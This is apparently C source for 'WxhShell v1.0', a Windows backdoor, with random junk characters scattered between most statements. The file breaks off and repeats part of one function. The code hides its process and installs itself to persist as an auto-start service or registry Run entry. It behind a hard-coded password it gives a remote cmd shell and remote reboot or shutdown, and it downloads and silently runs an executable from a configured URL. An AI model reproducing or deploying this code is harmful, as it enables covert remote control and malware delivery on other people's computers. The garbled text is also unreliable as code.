P5a4ze if(NULL == hInst ) return 0; Mo?~_|} V58wU:li g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3!XjtVhK?I g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $q6BP'7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7K,-01-: _x%7@.TB if (!NtQueryInformationProcess) return 0; LlX{#R eKE#Yr
d=x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $WyD^|~SF if(!hProcess) return 0; Qu?R8+"KS %7zuQ \w if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G&D7a/G\ +)!Y rKuu CloseHandle(hProcess); WIC/AL' ub^h&=\S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q)X$^oE!6 if(hProcess==NULL) return 0; OK[T3/v, ^t` k0< HMODULE hMod; -lbm*
-( char procName[255]; XG{{ 2f unsigned long cbNeeded; $$|rr G qLn/2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +T|JK7 [ey:e6,T9 CloseHandle(hProcess); |'P]GK SQBa;hvgM if(strstr(procName,"services")) return 1; // 以服务启动 l~c@^! sGyeb5c return 0; // 注册表启动 b LlKe50 } fd+hA UK595n;P // 主模块 _"?.! int StartWxhshell(LPSTR lpCmdLine) %<k2#6K { Gw>^[dmt! SOCKET wsl; FQu8vwV6> BOOL val=TRUE; xSktg]u Se int port=0; m+`fn;* struct sockaddr_in door; w~(1%p/ .L9j>iP9 * if(wscfg.ws_autoins) Install(); jN{Xfjmfv UtPLI al port=atoi(lpCmdLine); !}YAdZJ %`>nS@1zp if(port<=0) port=wscfg.ws_port; ?I6fye7 ?k]2*}bz WSADATA data; >zw.GwN| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q*U*Fu+ $Z.7zH if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @Z*W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dd'm U door.sin_family = AF_INET; >.Chl$)< door.sin_addr.s_addr = inet_addr("127.0.0.1"); E(O74/2c8 door.sin_port = htons(port); oe%}?u $@z5kwx:P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .z]Wyx&/U closesocket(wsl); +]*zlE\N` return 1; ozmrw\_}[ } UJD 0K]s (U&tt]| if(listen(wsl,2) == INVALID_SOCKET) { Li!Vx1p;u. closesocket(wsl); )m`<H>[Eb= return 1; R n}l6kbM }
gp5_Z-me Wxhshell(wsl); *,e:]!* WSACleanup(); ]JCvyz
H
zz+$=(T:M return 0; KC/=TSSXd. -m)X]]~C } pOGeruu? v=0(~<7B // 以NT服务方式启动 GR&z, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G9Y#kBr { .X@FXx& DWORD status = 0; )Ub_@)X3%l DWORD specificError = 0xfffffff; kh
{p%<r{ 4]yOF_8h serviceStatus.dwServiceType = SERVICE_WIN32; _"E%xM*r serviceStatus.dwCurrentState = SERVICE_START_PENDING; -&NN51-d\j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9KDEM gCW serviceStatus.dwWin32ExitCode = 0; Lx\8Z= serviceStatus.dwServiceSpecificExitCode = 0;
i*|\KM?P serviceStatus.dwCheckPoint = 0; Z'4./ serviceStatus.dwWaitHint = 0; Wi*.TWz3 Gr7=:+0n|P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e5* ni/P if (hServiceStatusHandle==0) return; S]bmS6# -K
q5i status = GetLastError(); \#f<!R4 if (status!=NO_ERROR) kjg~n9#T { 4 8:>NW serviceStatus.dwCurrentState = SERVICE_STOPPED; wLi4G@jJ serviceStatus.dwCheckPoint = 0; 3 jGWkby0 serviceStatus.dwWaitHint = 0; Y'1S`. serviceStatus.dwWin32ExitCode = status; gbI^2=YT' serviceStatus.dwServiceSpecificExitCode = specificError; KV}FZ3jY SetServiceStatus(hServiceStatusHandle, &serviceStatus); qs1 ?IYD return; 4A8;tU$& } G'oG</A S0B|#O%Z serviceStatus.dwCurrentState = SERVICE_RUNNING; % W=b?: serviceStatus.dwCheckPoint = 0; `);AW(Q serviceStatus.dwWaitHint = 0; ]^Qn if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w\(.3W7 } 4.Q} 1%ZN a2dnbfSWa[ // 处理NT服务事件,比如:启动、停止 )[PtaPWeT VOID WINAPI NTServiceHandler(DWORD fdwControl) v>$'iT~ l { >hPQRd switch(fdwControl) SO IHePmwK { 1M}5>V{ case SERVICE_CONTROL_STOP: /.3}aj;6 serviceStatus.dwWin32ExitCode = 0; le1}0L serviceStatus.dwCurrentState = SERVICE_STOPPED; C69q&S, serviceStatus.dwCheckPoint = 0; HW=C),*]cR serviceStatus.dwWaitHint = 0; 6eT5ktf { ]ro*G"-_1# SetServiceStatus(hServiceStatusHandle, &serviceStatus); '_GrD>P)- } uehDIl0\[b return; I/&%]"[^u case SERVICE_CONTROL_PAUSE: E8pB;\Z( serviceStatus.dwCurrentState = SERVICE_PAUSED; 6{"$nF] break; v:!Z=I}> case SERVICE_CONTROL_CONTINUE: A;*d}Xe&J serviceStatus.dwCurrentState = SERVICE_RUNNING; S#MZV@nGF break; PMNjn9d case SERVICE_CONTROL_INTERROGATE: {l>yi break; B.dH(um }; .ni_p 6! SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4(|cG7>9- } /DK"QV!]s mzeY%A<0^ // 标准应用程序主函数 bL'aB{s int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jll-`b 1 { P*
w9, }\%Fi/6Z{ // 获取操作系统版本 K%a%a6k` OsIsNt=GetOsVer(); t/cY=Wp GetModuleFileName(NULL,ExeFile,MAX_PATH); j7jCm: ;%<,IdhN // 从命令行安装 6kNrYom if(strpbrk(lpCmdLine,"iI")) Install(); !9[>L@#G i(AT8Bo2 // 下载执行文件 _J Hd9)[ if(wscfg.ws_downexe) { VtnRgdJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `+o2DA)#( WinExec(wscfg.ws_filenam,SW_HIDE); )Qe~8u@? } ;nodjbr,j tKuVQH~D if(!OsIsNt) { yKa{08X: // 如果时win9x,隐藏进程并且设置为注册表启动 Ove<mFI\ HideProc(); l|/ep:x8 StartWxhshell(lpCmdLine); P!H_1RwXKC } *1v[kWa? else q=%RDG+ if(StartFromService()) 9;r)#3Q[^ // 以服务方式启动 Fh`~`eog StartServiceCtrlDispatcher(DispatchTable); /W>iJfx else $oj:e?8N // 普通方式启动 PmKeF} StartWxhshell(lpCmdLine); %>~sJ0 4kBaB return 0; 2 lj'"nm } MRb-H1+Xf OR%'K2C6S U%<koD[, d/[;
`ZD+ =========================================== @6wFst\t yzerOL *M:B\D n/Sw P F
P* lQRA hWD;jR " IFF92VD& 6^eV"&+@ #include <stdio.h> 77\]B #include <string.h> 8,C*4y~ #include <windows.h> .?R!DYC` #include <winsock2.h> 9aze>nxh. #include <winsvc.h> jz
qyk^X #include <urlmon.h> %p2Sh)@M y+"X~7EX #pragma comment (lib, "Ws2_32.lib") )iYxt:(, #pragma comment (lib, "urlmon.lib")
/H8g( H."EUcE{ #define MAX_USER 100 // 最大客户端连接数 d-k%{eBV #define BUF_SOCK 200 // sock buffer {]:7bV#JP #define KEY_BUFF 255 // 输入 buffer ti
I.W M luVx' #define REBOOT 0 // 重启 : cF[(i/k4 #define SHUTDOWN 1 // 关机 ^Wt* xT #define DEF_PORT 5000 // 监听端口 n/+.s(7c mj9 <%P #define REG_LEN 16 // 注册表键长度 {]%0lf: #define SVC_LEN 80 // NT服务名长度 \l9qt5rS Dey<OE& // 从dll定义API G+X
Sfr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xlA$:M& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vUohtS* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3NqN\5B: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _*1`@ L)@?e?9 // wxhshell配置信息 0=AVW`J struct WSCFG { BT}!W`
int ws_port; // 监听端口 3E!|<q$z char ws_passstr[REG_LEN]; // 口令 1Cv- int ws_autoins; // 安装标记, 1=yes 0=no ?u "
4@ char ws_regname[REG_LEN]; // 注册表键名 mF,Y?ax char ws_svcname[REG_LEN]; // 服务名 zi]\<?\X char ws_svcdisp[SVC_LEN]; // 服务显示名 &Low/Y'.jJ char ws_svcdesc[SVC_LEN]; // 服务描述信息 s'%R char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8W,Jh8N6 int ws_downexe; // 下载执行标记, 1=yes 0=no FVaQEMZ^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 59"UL\3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3|'>`!hb #~C]ZrK }; xI($Uu}S /5Oa,NS7 // default Wxhshell configuration 1*9U1\z struct WSCFG wscfg={DEF_PORT, }]lr>"~y} "xuhuanlingzhe", L"o>wYx 1, kXi6lh "Wxhshell", B?'#4J "Wxhshell", =;2%a( "WxhShell Service", qz0;p=$8Z "Wrsky Windows CmdShell Service", Y]/%t{Y "Please Input Your Password: ", ,
udTvI 1, }bdmomV "http://www.wrsky.com/wxhshell.exe", W-?()dX{ "Wxhshell.exe" y5*Z3"< }; =a@j= x{n`^;Y1 // 消息定义模块 l5Gq|!2yxD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P<X\%_Iat char *msg_ws_prompt="\n\r? for help\n\r#>"; n1ly
y0%u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H!5\v"]WB char *msg_ws_ext="\n\rExit."; nxWY7hU char *msg_ws_end="\n\rQuit."; ]:Nsf|C0 char *msg_ws_boot="\n\rReboot..."; Yu)NO\3& char *msg_ws_poff="\n\rShutdown..."; f!I[>&n char *msg_ws_down="\n\rSave to "; psg)*'r >8WP0Qx/ char *msg_ws_err="\n\rErr!"; ]:4*L char *msg_ws_ok="\n\rOK!"; Ju96#v+: 2+QY hdw char ExeFile[MAX_PATH]; i rU 6D int nUser = 0; Y
}$/e HANDLE handles[MAX_USER]; ow_W%I=6 int OsIsNt; {2=jAz'? A OISs4 SERVICE_STATUS serviceStatus; mH%yGBp_ SERVICE_STATUS_HANDLE hServiceStatusHandle; !F A] x:),P-~w // 函数声明 m[~V/N3 int Install(void); Xejo_SV&? int Uninstall(void); >qS9PX int DownloadFile(char *sURL, SOCKET wsh); 5-aj2>=7 int Boot(int flag); x[h^[oF0 void HideProc(void); bwD,YC int GetOsVer(void); S ?{#r int Wxhshell(SOCKET wsl); \;qW 3~ void TalkWithClient(void *cs); i;/5Y'KZ int CmdShell(SOCKET sock); xJ>fm%{5 int StartFromService(void); OBOtu u. int StartWxhshell(LPSTR lpCmdLine); p"n$!ilbm fGUE<l VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >O*IQ[r- VOID WINAPI NTServiceHandler( DWORD fdwControl ); CE#gfP F`gi_;c // 数据结构和表定义 *=]&&< SERVICE_TABLE_ENTRY DispatchTable[] = ^(vs.U^U< { Gft%Mq
v {wscfg.ws_svcname, NTServiceMain}, #gz
M| {NULL, NULL} 9$cWU_q{ }; /67 h&j g.BdlVB\ // 自我安装 q"\Z-D0B4 int Install(void) 7gj4j^a^]{ { AgS7J(^&3 char svExeFile[MAX_PATH]; wQ^EYKD HKEY key; -:|?h{q?u strcpy(svExeFile,ExeFile); }4 )H /|tJ6T1LrB // 如果是win9x系统,修改注册表设为自启动 AK'[c+2[ if(!OsIsNt) { Fq|Ni$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z\K"Rg~J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yE:+Lo`> RegCloseKey(key); ;j[>9g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h"X;3b^ m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &,zq%;-f RegCloseKey(key); kD=WO4} return 0; ,{M^-3C } )'l:K.F } j[`j9mM8 } n^Hm;BiE# else { NQBpX s}w{:Hk,x8 // 如果是NT以上系统,安装为系统服务 h2Ld[xvCu% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )J2mM if (schSCManager!=0)
gbF+WE { L2\#w<d SC_HANDLE schService = CreateService ]V^iN=(_5 ( Xe$ I7iKD schSCManager, RRmz"j> wscfg.ws_svcname, @.$| w>>T wscfg.ws_svcdisp,
1eS&&J5 SERVICE_ALL_ACCESS, IpYM;tYw& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pMw*9sX SERVICE_AUTO_START, IwQ"eUnK SERVICE_ERROR_NORMAL, eD,.~Y#?= svExeFile, _zY#U9 NULL, &dqLP95 NULL, C _'%NlJ' NULL, .+PI}[g NULL, u+Y\6~=+ NULL %|auAq&w ); fObg3S92 if (schService!=0) v- 2:(IV { `=4r+ CloseServiceHandle(schService); BmbyH{4 CloseServiceHandle(schSCManager); cqQ#p2<% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o_XflzC strcat(svExeFile,wscfg.ws_svcname); .c8g:WB< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k.uH~S _ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SF7\<'4\N RegCloseKey(key); [%q@]\U$s return 0; dq(uVW^&ae } azCf } ;&9)I8Us CloseServiceHandle(schSCManager); "|EM;o } ]D?"aX'q> } ")SFi^] T1 ut"Zu return 1; KI)M JG:t } ;O,+2VzP%^ 7?#J~.d5 // 自我卸载 5x5@t
: int Uninstall(void) #eoome2Q { ]O]4z,n HKEY key; Px4)>/ z, 9]k @Q_ if(!OsIsNt) { h}[-'>{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e%svrJ2 RegDeleteValue(key,wscfg.ws_regname); eWCb73 RegCloseKey(key); `#rL*;\uV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { joFm]3$; RegDeleteValue(key,wscfg.ws_regname); ,f~J`3(& RegCloseKey(key); qB5j;@r return 0; gqZ'$7So } y&6FybIz } `95r0t0hh\ } abuh`H# else { WJQvB=D& ND'E8Ke pq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I@T8Iv= if (schSCManager!=0) Z_$%. { C^O
VB- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =O&%c%~q if (schService!=0) BBaQ}{F8>2 { APvDP? if(DeleteService(schService)!=0) { W<bGDh CloseServiceHandle(schService); @P#N2:jwj CloseServiceHandle(schSCManager); w^Sz#_2 return 0; CNih6R } {:Orn%Q CloseServiceHandle(schService); ( Z619w } Yrb{ByO& CloseServiceHandle(schSCManager); C].iCxn } 3DzMB?I } xe]y] B;M?,<%FRU return 1; rA3$3GLQ- } Jb0`42 tRs [ YK // 从指定url下载文件 p)jk>j B int DownloadFile(char *sURL, SOCKET wsh) rV2WnAb[H& { -z-C*%~ HRESULT hr; *F+KqZ.2 char seps[]= "/"; g,Lq)'N;O char *token; uW=k K0E char *file; o
m^0}$V char myURL[MAX_PATH]; A#K14Ayr char myFILE[MAX_PATH]; VQ(j pns5 gT3_RUF strcpy(myURL,sURL); };mA^xO]j token=strtok(myURL,seps); p#&h=,W} while(token!=NULL) )mg:_K { 69PE9zz file=token; |N4.u
_hM token=strtok(NULL,seps); U\ ig: }
-?H#LUk &b.=M>\9Q GetCurrentDirectory(MAX_PATH,myFILE); F0pir(n- strcat(myFILE, "\\"); hcgMZT!<5 strcat(myFILE, file); 9%k2'iV7 send(wsh,myFILE,strlen(myFILE),0); zpzK>DH( send(wsh,"...",3,0); Cl5uS%g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zvvhFN2s if(hr==S_OK) $ZUdT return 0; 18|m)(W else '<jyw return 1; u#Pa7_zBj] srr
:!5 } |v`AA?@{8 }K7#Q // 系统电源模块 GD&uQ`Y5 int Boot(int flag) .!Qki@ { (iBNZ7sJ HANDLE hToken; aEFJ;n7m TOKEN_PRIVILEGES tkp; 68NYIyTW9 |EIng0a if(OsIsNt) { 9/{(%XwX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~,d,#)VE2q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "LHcB]^< tkp.PrivilegeCount = 1; s28`OKC} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XR8,Vt)= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TcyNIx if(flag==REBOOT) { :iK(JE` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QHDXW1+|^ return 0; ,MdV;j~"' } m.JBOq= else { j5QuAU8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .sxcCrQE return 0; h2)yq:87 } e
h&IPU S } !SC`D])l else { bo,_&4? if(flag==REBOOT) { szb_*)k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i#&z2h-b return 0; >] qc-{>& } &)YQv Tzs else { ^Xuvy{TkPH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ynmWW^dg return 0; #=D) j } wc0jhHZO
? } IrR7"`.i V8e>l[tH return 1; P]<4R:yb } d)"3K6s|5 6~0$Z-);( // win9x进程隐藏模块 Z_PNI#h* void HideProc(void) bADnW4N`6; { 8J*"%C$qe TIx|L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [=x[ w70 if ( hKernel != NULL ) Jz?j[ { ;5wn67' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Y+J-EQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o=u3&liBi FreeLibrary(hKernel); ~{*7"o/ } ^aIPN5CK qBU-~"2t return; hMzs*gK } x*
DarSk g6W)4cC8a // 获取操作系统版本 S_iMVHe int GetOsVer(void) )r';lGh2# { &w 4?)# OSVERSIONINFO winfo; <z+t,<3D winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7.-V-?i GetVersionEx(&winfo); anuL1fXO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lackB2J9 A return 1; ?42<J%p
else zuP B6W ^ return 0;
*aX F5S } >@BnV{ d ,V'o4]H // 客户端句柄模块 ,4hJT int Wxhshell(SOCKET wsl) he#J|p { H12Fw'2 SOCKET wsh; h-g+g#* struct sockaddr_in client; ke{8 ^X~# DWORD myID; SEORSS S,D8F&bg while(nUser<MAX_USER) "lQ*1.i { ?M$.+V{a int nSize=sizeof(client); 3NZK*!@' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s|@6S8E if(wsh==INVALID_SOCKET) return 1; -)s qc
P KTK <gV9: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?8HHA:GP if(handles[nUser]==0) "-y-iJ closesocket(wsh); <
|e,05aM else p$SX nUser++; r)qnl9?;`] } "vA}FV%tRq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jnd[6v=C7- <DpevoF return 0; >PB4L_1 } <CRP^_c XV!6dh! // 关闭 socket }{M#EP8q+ void CloseIt(SOCKET wsh) kSC}aN' { >AC]#' closesocket(wsh); "X2 Vrn' nUser--; -\+s#kE: ExitThread(0); ~L]|?d" } |].pDwgt \Fl+\?~D // 客户端请求句柄 h"lX4 void TalkWithClient(void *cs) $GYm6x\4 { ODZ5IO}v QS0:@.}$E) SOCKET wsh=(SOCKET)cs; g"Ljm7 char pwd[SVC_LEN]; +
r!1<AAE$ char cmd[KEY_BUFF]; *?o{9v5}( char chr[1]; /`9sPR6e int i,j; z+
s6)Ad Q*~LCtrI while (nUser < MAX_USER) { WegtyO r$5i Wu if(wscfg.ws_passstr) { U0=] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >oea{u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gHhh>FFAq //ZeroMemory(pwd,KEY_BUFF); a5 *2h{i i=0; $m7?3/YG while(i<SVC_LEN) { `J]fcE%T0R ttXXy3G# // 设置超时 33jovK2 fd_set FdRead; >Wh}f3C struct timeval TimeOut; U QE qX FD_ZERO(&FdRead); vQ<90ZxqB FD_SET(wsh,&FdRead); %509\;el TimeOut.tv_sec=8; V7#Ff i TimeOut.tv_usec=0; 6W@UJx}w5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'iy*^A `Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0$_oT;{8 YiYV>gaf"H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vK(i9>;7 pwd=chr[0]; ur*T%b9& if(chr[0]==0xd || chr[0]==0xa) { (E/lIou pwd=0; Fd?"- break; 17D"cP } !) S
?m i++; ~n[d4qV& } CQZgMY1{ dX\.t< // 如果是非法用户,关闭 socket "8'@3$>R= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3VuW#m#j } +${D V I,ACj send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }YjX3|8zL= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (* 1v\Q ~CVe yk< ( while(1) { nM\eDNK 9 Yx]=n ZeroMemory(cmd,KEY_BUFF); ;WgJ<&33 u583_k% // 自动支持客户端 telnet标准 $k0kk j=0; pX/n)q[ while(j<KEY_BUFF) { zR
`EU, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~)qtply cmd[j]=chr[0]; q ud\K+ if(chr[0]==0xa || chr[0]==0xd) { Wqc)Fv70m cmd[j]=0; _nD$b={g break; FvN<<&B } {D!6%`HKV+ j++; Op"M.]# } o8zy^zN$6 R-NS,i={ // 下载文件 Q9Uf.Lh2 if(strstr(cmd,"http://")) { p(PMZVV` send(wsh,msg_ws_down,strlen(msg_ws_down),0); PGYXhwOI if(DownloadFile(cmd,wsh))
.w> 4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); n"+[ :w4 else /R~1Zj2& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *4U^0e } {D?50Q else { uA,>a>xYI +zrAG24q switch(cmd[0]) { 0`)iIz @S|jC2^+h // 帮助 H~GQ;PhRx case '?': { 5K^69mx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7@Zx@ break; #mZpeB~ } CqHK %M // 安装 Rp*R:3
C case 'i': { ~ zil/P8 if(Install()) RletL) send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYa(N[~a else '; = f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rEHk w
' break; ^zE wA } F^N82 // 卸载 ]Pry>N3G5 case 'r': { h@:TpE+N if(Uninstall()) Ct2j ZqCDo send(wsh,msg_ws_err,strlen(msg_ws_err),0); #O$ else AX?fuDLs send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I8+~ &V} break; [cTe54n } %STliJ // 显示 wxhshell 所在路径 !O.[PH(,* case 'p': { -RO7
'm0 char svExeFile[MAX_PATH]; *<E]E? strcpy(svExeFile,"\n\r"); /&CmO>^e strcat(svExeFile,ExeFile); d)@<W1; send(wsh,svExeFile,strlen(svExeFile),0); G P:FSprP break; ?."&MZ } $U$V?xuE // 重启 |+35y_i6 case 'b': { z\0CE]#T send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tp6M=MC% if(Boot(REBOOT)) eh4gQ^l send(wsh,msg_ws_err,strlen(msg_ws_err),0); 28/ ADZ else { mNb ?*3\ closesocket(wsh); V$"ujRp ExitThread(0); QCH}-q) } `(1K
break; JYrY[',u } 2<`.#zIds // 关机 txZ?=8j_Y case 'd': { neXeAU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -zp0S*iP7 if(Boot(SHUTDOWN)) ?OE.O/~l send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"5oD@JG: else { Y4cYZS47 closesocket(wsh); 1"pI^Ddt ExitThread(0); 7_.11$E=H } ,g7.rEA break; a-"k/P# } "V>R9dO{"! // 获取shell C w~RJ^a_ case 's': { cTXri8K_ CmdShell(wsh); `((Yc]:7 closesocket(wsh); d~/q"r 1" ExitThread(0); JCPUM*g8 break; t^xTFn } z-@=+4~ // 退出 9Ro6fjjE case 'x': { \k]x;S<a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B!dU>0&Ct CloseIt(wsh); kloR#?8A break; R*oXmuOsYA } Vs)--t // 离开 >_c5r?]S G case 'q': { P+!"wX0*N send(wsh,msg_ws_end,strlen(msg_ws_end),0); i]=&
closesocket(wsh); EyI}{6~F WSACleanup(); kaxvPv1
exit(1); ?;wpd';c break; #Hvq/7a2R } I.Y['%8,5~ } {ekCQeDo } nI/kw%< 3#vinz // 提示信息 "F3]X)} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HxBm~Lcqy } 3)ma\+< 6 } 28hHabd|
d\H&dkpH return; gP-nluq } 6vp *9 n4R2^gXAw // shell模块句柄 t4qej int CmdShell(SOCKET sock) ;Og&FFs' { 5jgdbHog] STARTUPINFO si; j}BHj.YuP ZeroMemory(&si,sizeof(si)); { F'Kk\f%: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?\U!huu si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yJsH=5A PROCESS_INFORMATION ProcessInfo; &f>eQS=( char cmdline[]="cmd"; WEa2E?* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F$Ca;cP" return 0; c{>uqPTY } /w8"=6Vv~ fQ'.8'>T // 自身启动模式 0l=+$&D int StartFromService(void) P_gYz! { zf.-I typedef struct H{?9CxYa { j} F-Xs+ DWORD ExitStatus; fa&-. * DWORD PebBaseAddress; >S1)YKgz DWORD AffinityMask; B_ja&) !s1 DWORD BasePriority; .}k(L4T|= ULONG UniqueProcessId; nx:KoB"ny ULONG InheritedFromUniqueProcessId; FP#FB$eP
} PROCESS_BASIC_INFORMATION; .lBgp=! !)qQbk PROCNTQSIP NtQueryInformationProcess; e8h,,:l3j Uw/l>\ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vBvNu<v7te static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Olfn oyk>vIZ HANDLE hProcess; <e)o1+[w PROCESS_BASIC_INFORMATION pbi; a`E*\O'd _Cy:]2o HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v)f7};"z if(NULL == hInst ) return 0; `_5GG3@Ff Z,c,G2D g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :Pq.,s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 659v\51* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1/ZR*fa 451'>qS if (!NtQueryInformationProcess) return 0; ?-OPX_i_ =s}Xy_+: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0rokR&Y-d if(!hProcess) return 0; 9p@C4oen ?/M_~e.P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m7=1%6FN3 #FYAV%pi CloseHandle(hProcess); L{ho*^b ?$z.K>S5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VW@ x=m if(hProcess==NULL) return 0; t` 8!AhOgc }wwe}E-e HMODULE hMod; \aP6_g:N} char procName[255]; `7+j0kV) unsigned long cbNeeded; 9
